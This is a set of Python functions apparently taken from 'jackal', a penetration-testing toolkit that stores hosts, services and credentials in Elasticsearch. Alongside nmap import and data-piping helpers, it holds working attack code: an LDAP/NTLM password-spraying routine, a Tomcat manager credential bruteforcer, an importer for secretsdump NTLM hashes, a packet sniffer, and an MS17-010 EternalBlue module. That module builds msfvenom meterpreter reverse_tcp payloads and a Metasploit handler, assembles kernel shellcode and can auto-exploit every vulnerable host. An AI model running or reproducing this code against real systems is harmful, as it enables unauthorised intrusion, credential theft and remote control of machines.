def main(): services = ServiceSearch() hosts = HostSearch() ranges = RangeSearch() users = UserSearch() creds = CredentialSearch() try: print_notification("Connected to: {} [{}]".format( connections.get_connection().info()['cluster_name'], config.get('jackal', 'host'))) except (ConnectionError, TransportError) as e: print_error("Cannot connect to the elasticsearch instance") print_error(e) sys.exit(1) print_notification("Index: {}".format(config.get('jackal', 'index'))) host_count = hosts.count() if not host_count is None: print_notification("Number of hosts defined: {}".format(hosts.count())) print_notification("Number of ranges defined: {}".format( ranges.count())) print_notification("Number of services defined: {}".format( services.count())) print_notification("Number of users defined: {}".format(users.count())) print_notification("Number of credentials defined: {}".format( creds.count()))
def bruteforce(users, domain, password, host): """ Performs a bruteforce for the given users, password, domain on the given host. """ cs = CredentialSearch(use_pipe=False) print_notification("Connecting to {}".format(host)) s = Server(host) c = Connection(s) for user in users: if c.rebind(user="******".format(domain, user.username), password=password, authentication=NTLM): print_success('Success for: {}:{}'.format(user.username, password)) credential = cs.find_object(user.username, password, domain=domain, host_ip=host) if not credential: credential = Credential(username=user.username, secret=password, domain=domain, host_ip=host, type="plaintext", port=389) credential.add_tag(tag) credential.save() # Add a tag to the user object, so we dont have to bruteforce it again. user.add_tag(tag) user.save() else: print_error("Fail for: {}:{}".format(user.username, password))
def create_pipe_workers(configfile, directory): """ Creates the workers based on the given configfile to provide named pipes in the directory. """ type_map = {'service': ServiceSearch, 'host': HostSearch, 'range': RangeSearch, 'user': UserSearch} config = configparser.ConfigParser() config.read(configfile) if not len(config.sections()): print_error("No named pipes configured") return print_notification("Starting {} pipes in directory {}".format( len(config.sections()), directory)) workers = [] for name in config.sections(): section = config[name] query = create_query(section) object_type = type_map[section['type']] args = (name, os.path.join(directory, name), object_type, query, section['format'], bool(section.get('unique', 0))) workers.append(multiprocessing.Process(target=pipe_worker, args=args)) return workers
def format(): """ Formats the output of another tool in the given way. Has default styles for ranges, hosts and services. """ argparser = argparse.ArgumentParser( description='Formats a json object in a certain way. Use with pipes.') argparser.add_argument( 'format', metavar='format', help='How to format the json for example "{address}:{port}".', nargs='?') arguments = argparser.parse_args() service_style = "{address:15} {port:7} {protocol:5} {service:15} {state:10} {banner} {tags}" host_style = "{address:15} {tags}" ranges_style = "{range:18} {tags}" users_style = "{username}" if arguments.format: format_input(arguments.format) else: doc_mapper = DocMapper() if doc_mapper.is_pipe: for obj in doc_mapper.get_pipe(): style = '' if isinstance(obj, Range): style = ranges_style elif isinstance(obj, Host): style = host_style elif isinstance(obj, Service): style = service_style elif isinstance(obj, User): style = users_style print_line(fmt.format(style, **obj.to_dict(include_meta=True))) else: print_error("Please use this script with pipes")
def main(): """ Checks the arguments to brutefore and spawns greenlets to perform the bruteforcing. """ services = ServiceSearch() argparse = services.argparser argparse.add_argument('-f', '--file', type=str, help="File") arguments = argparse.parse_args() if not arguments.file: print_error("Please provide a file with credentials seperated by ':'") sys.exit() services = services.get_services(search=["Tomcat"], up=True, tags=['!tomcat_brute']) credentials = [] with open(arguments.file, 'r') as f: credentials = f.readlines() for service in services: print_notification("Checking ip:{} port {}".format(service.address, service.port)) url = 'http://{}:{}/manager/html' gevent.spawn(brutefore_passwords, service.address, url.format(service.address, service.port), credentials, service) service.add_tag('tomcat_brute') service.update(tags=service.tags) gevent.wait() # TODO fix stats Logger().log("tomcat_brute", "Performed tomcat bruteforce scan", {'scanned_services': len(services)})
def main(): """ Loads the config and handles the workers. """ config = Config() pipes_dir = config.get('pipes', 'directory') pipes_config = config.get('pipes', 'config_file') pipes_config_path = os.path.join(config.config_dir, pipes_config) if not os.path.exists(pipes_config_path): print_error("Please configure the named pipes first") return workers = create_pipe_workers(pipes_config_path, pipes_dir) if workers: for worker in workers: worker.start() try: for worker in workers: worker.join() except KeyboardInterrupt: print_notification("Shutting down") for worker in workers: worker.terminate() worker.join()
def overview(): """ Creates a overview of the hosts per range. """ range_search = RangeSearch() ranges = range_search.get_ranges() if ranges: formatted_ranges = [] tags_lookup = {} for r in ranges: formatted_ranges.append({'mask': r.range}) tags_lookup[r.range] = r.tags search = Host.search() search = search.filter('term', status='up') search.aggs.bucket('hosts', 'ip_range', field='address', ranges=formatted_ranges) response = search.execute() print_line("{0:<18} {1:<6} {2}".format("Range", "Count", "Tags")) print_line("-" * 60) for entry in response.aggregations.hosts.buckets: print_line("{0:<18} {1:<6} {2}".format(entry.key, entry.doc_count, tags_lookup[entry.key])) else: print_error("No ranges defined.")
def pipe_worker(pipename, filename, object_type, query, format_string, unique=False): """ Starts the loop to provide the data from jackal. """ print_notification("[{}] Starting pipe".format(pipename)) object_type = object_type() try: while True: uniq = set() # Remove the previous file if it exists if os.path.exists(filename): os.remove(filename) # Create the named pipe os.mkfifo(filename) # This function will block until a process opens it with open(filename, 'w') as pipe: print_success("[{}] Providing data".format(pipename)) # Search the database objects = object_type.search(**query) for obj in objects: data = fmt.format(format_string, **obj.to_dict()) if unique: if not data in uniq: uniq.add(data) pipe.write(data + '\n') else: pipe.write(data + '\n') os.unlink(filename) except KeyboardInterrupt: print_notification("[{}] Shutting down named pipe".format(pipename)) except Exception as e: print_error("[{}] Error: {}, stopping named pipe".format(e, pipename)) finally: os.remove(filename)
def format_input(style): doc_mapper = DocMapper() if doc_mapper.is_pipe: for obj in doc_mapper.get_pipe(): print_line(fmt.format(style, **obj.to_dict(include_meta=True))) else: print_error("Please use this script with pipes")
def exploit(self): """ Starts the exploiting phase, you should run setup before running this function. if auto is set, this function will fire the exploit to all systems. Otherwise a curses interface is shown. """ search = ServiceSearch() host_search = HostSearch() services = search.get_services(tags=['MS17-010']) services = [service for service in services] if len(services) == 0: print_error("No services found that are vulnerable for MS17-010") return if self.auto: print_success("Found {} services vulnerable for MS17-010".format( len(services))) for service in services: print_success("Exploiting " + str(service.address)) host = host_search.id_to_object(str(service.address)) system_os = '' if host.os: system_os = host.os else: system_os = self.detect_os(str(service.address)) host.os = system_os host.save() text = self.exploit_single(str(service.address), system_os) print_notification(text) else: service_list = [] for service in services: host = host_search.id_to_object(str(service.address)) system_os = '' if host.os: system_os = host.os else: system_os = self.detect_os(str(service.address)) host.os = system_os host.save() service_list.append({ 'ip': service.address, 'os': system_os, 'string': "{ip} ({os}) {hostname}".format(ip=service.address, os=system_os, hostname=host.hostname) }) draw_interface(service_list, self.callback, "Exploiting {ip} with OS: {os}")
def import_file(): for arg in sys.argv[1:]: print_notification("Importing nmap file: {}".format(arg)) try: with open(arg, 'r') as f: stats = import_nmap(f.read(), 'nmap_import', check_function=all_hosts, import_services=True) stats['file'] = arg Logger().log('import_nmap', 'Imported nmap file', stats=stats) except NmapParserException: print_error("File could not be parsed: {}".format(arg)) except FileNotFoundError: pass
def count(self, *args, **kwargs): """ Returns the number of results after filtering with the given arguments. """ search = self.create_search(*args, **kwargs) try: return search.count() except NotFoundError: print_error( "The index was not found, have you initialized the index?") except (ConnectionError, TransportError): print_error("Cannot connect to elasticsearch")
def import_nmap(result, tag, check_function=all_hosts, import_services=False): """ Imports the given nmap result. """ host_search = HostSearch(arguments=False) service_search = ServiceSearch() parser = NmapParser() report = parser.parse_fromstring(result) imported_hosts = 0 imported_services = 0 for nmap_host in report.hosts: if check_function(nmap_host): imported_hosts += 1 host = host_search.id_to_object(nmap_host.address) host.status = nmap_host.status host.add_tag(tag) if nmap_host.os_fingerprinted: host.os = nmap_host.os_fingerprint if nmap_host.hostnames: host.hostname.extend(nmap_host.hostnames) if import_services: for service in nmap_host.services: imported_services += 1 serv = Service(**service.get_dict()) serv.address = nmap_host.address service_id = service_search.object_to_id(serv) if service_id: # Existing object, save the banner and script results. serv_old = Service.get(service_id) if service.banner: serv_old.banner = service.banner # TODO implement # if service.script_results: # serv_old.script_results.extend(service.script_results) serv_old.save() else: # New object serv.address = nmap_host.address serv.save() if service.state == 'open': host.open_ports.append(service.port) if service.state == 'closed': host.closed_ports.append(service.port) if service.state == 'filtered': host.filtered_ports.append(service.port) host.save() if imported_hosts: print_success("Imported {} hosts, with tag {}".format( imported_hosts, tag)) else: print_error("No hosts found") return {'hosts': imported_hosts, 'services': imported_services}
def parse_file(filename): cs = CredentialSearch() us = UserSearch() print_notification("Processing {}".format(filename)) if not os.path.isfile(filename): print_error("Given path is not a file, skipping...") return pattern = r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" result = re.findall(pattern, filename) ip = '' if len(result): ip = result[0] print_notification("Host IP seems to be {}".format(ip)) else: print_error("IP could not be obtained from the filename, skipping...") return with open(filename, 'r') as f: data = f.readlines() data = [d.strip() for d in data] count = 0 print_notification("Importing {} credentials".format(len(data))) for line in data: s = line.split(':') if len(s) == 7: username = s[0] jackal_user = us.id_to_object(username) jackal_user.add_tag("secretsdump_import") jackal_user.save() lm = s[2] nt = s[3] secret = lm + ":" + nt credential = cs.find_object(username=username, secret=secret, host_ip=ip) if not credential: credential = Credential(secret=secret, username=username, type='ntlm', host_ip=ip, port=445) credential.add_tag("secretsdump_import") credential.save() count += 1 else: print_error("Malformed data:") print_error(line) if count > 0: print_success("{} credentials imported".format(count)) else: print_error("No credentials imported")
def start(self, timeout=None): """ Starts the sniffing """ if timeout: print_notification( "Starting sniffer for {} seconds".format(timeout)) else: print_notification("Starting sniffer") print_notification("Press ctrl-c to stop sniffing") try: sniff(prn=self.callback, store=0, timeout=timeout) except PermissionError: print_error("Please run this tool as root")
def modify_input(): """ This functions gives the user a way to change the data that is given as input. """ doc_mapper = DocMapper() if doc_mapper.is_pipe: objects = [obj for obj in doc_mapper.get_pipe()] modified = modify_data(objects) for line in modified: obj = doc_mapper.line_to_object(line) obj.save() print_success("Object(s) successfully changed") else: print_error("Please use this tool with pipes")
def resolve_domains(domains): """ Resolves the list of domains and returns the ips. """ dnsresolver = dns.resolver.Resolver() ips = [] for domain in domains: print_notification("Resolving {}".format(domain)) try: result = dnsresolver.query(domain, 'A') for a in result.response.answer[0]: ips.append(str(a)) except dns.resolver.NXDOMAIN as e: print_error(e) return ips
def add_tag(): """ Obtains the data from the pipe and appends the given tag. """ if len(sys.argv) > 1: tag = sys.argv[1] doc_mapper = DocMapper() if doc_mapper.is_pipe: count = 0 for obj in doc_mapper.get_pipe(): obj.add_tag(tag) obj.update(tags=obj.tags) count += 1 print_success("Added tag '{}' to {} object(s)".format(tag, count)) else: print_error("Please use this script with pipes") else: print_error("Usage: jk-add-tag <tag>") sys.exit()
def main(): us = UserSearch() domains = us.get_domains() if not len(domains): print_error("No domains found...") return argparser = argparse.ArgumentParser( description= "Password bruteforce via ldap. All users for the given domain are tried, users with an entry in jk-creds will be omitted." ) argparser.add_argument( "-d", "--domain", choices=domains, default=domains[0], help="Domain to retrieve users from, default: {}".format(domains[0])) argparser.add_argument("-p", "--password", type=str, required=True, help="Password to try") argparser.add_argument( "-s", "--server", type=str, help= "Server to connect to, if not given, one will be retrieved from jackal." ) arguments = argparser.parse_args() host = '' if not arguments.server: hs = HostSearch(use_pipe=False) host_result = hs.search(count=1, up=True, ports=[389], domain=arguments.domain) if len(host_result): host = str(host_result[0].address) else: print_error("No host could be found for domain: {}".format( arguments.domain)) print_error("Try giving one with -s") return else: host = arguments.server cs = CredentialSearch(use_pip=False) known_users = set() credentials = cs.search(domain=arguments.domain) [known_users.add(credential.username) for credential in credentials] users = [ user for user in us.get_users(domain=arguments.domain, tags=['!' + tag]) ] users = [user for user in users if not user.username in known_users] bruteforce(users, arguments.domain, arguments.password, host)
def search(self, number=None, *args, **kwargs): """ Searches the elasticsearch instance to retrieve the requested documents. """ search = self.create_search(*args, **kwargs) try: if number: response = search[0:number] else: args, _ = self.core_parser.parse_known_args() if args.number: response = search[0:args.number] else: response = search.scan() return [hit for hit in response] except NotFoundError: print_error( "The index was not found, have you initialized the index?") return [] except (ConnectionError, TransportError): print_error("Cannot connect to elasticsearch") return []
def setup(self): """ This function will call msfvenom, nasm and git via subprocess to setup all the things. Returns True if everything went well, otherwise returns False. """ lport64 = self.port64 lport32 = self.port32 print_notification("Using ip: {}".format(self.ip)) print_notification("Generating metasploit resource file") resource = """use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST {ip} set LPORT {port64} set ExitOnSession false run -j set payload windows/meterpreter/reverse_tcp set LHOST {ip} set LPORT {port32} set ExitOnSession false run -j """.format(ip=self.ip, port64=lport64, port32=lport32) self.resource_file = os.path.join(self.datadir, 'ms17_resource.rc') with open(self.resource_file, 'w') as f: f.write(resource) print_success( "Resource file created, run the following command in msfconsole:") print_success("resource {}".format(self.resource_file)) command_64 = "msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f raw -o {datadir}/payload32.bin".format( ip=self.ip, port=lport32, datadir=self.datadir) command_32 = "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f raw -o {datadir}/payload64.bin".format( ip=self.ip, port=lport64, datadir=self.datadir) print_notification("Generating payloads") process = subprocess.run(command_32.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE) if process.returncode != 0: print_error("Problem with generating payload:") print_error(process.stderr) return False process = subprocess.run(command_64.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE) if process.returncode != 0: print_error("Problem with generating payload:") print_error(process.stderr) return False if not os.path.exists(os.path.join(self.datadir, 'MS17-010')): print_notification("Git repo was not found, cloning") process = subprocess.run( "git clone https://github.com/mwgielen/MS17-010 {dir}".format( dir=os.path.join(self.datadir, 'MS17-010')).split(' ')) if process.returncode != 0: print_error("Problems with cloning git") return False process = subprocess.run( "nasm {datadir}/MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o {datadir}/kshell64.bin" .format(datadir=self.datadir).split(' ')) if process.returncode != 0: print_error("Problems with NASM") return False process = subprocess.run( "nasm {datadir}/MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o {datadir}/kshell86.bin" .format(datadir=self.datadir).split(' ')) if process.returncode != 0: print_error("Problems with NASM") return False self.combine_files('kshell64.bin', 'payload64.bin', 'final_met_64.bin') self.combine_files('kshell86.bin', 'payload32.bin', 'final_met_32.bin') self.create_payload('final_met_32.bin', 'final_met_64.bin', 'final_combined.bin') print_notification("Combining payloads done") print_success("Setup Done") return True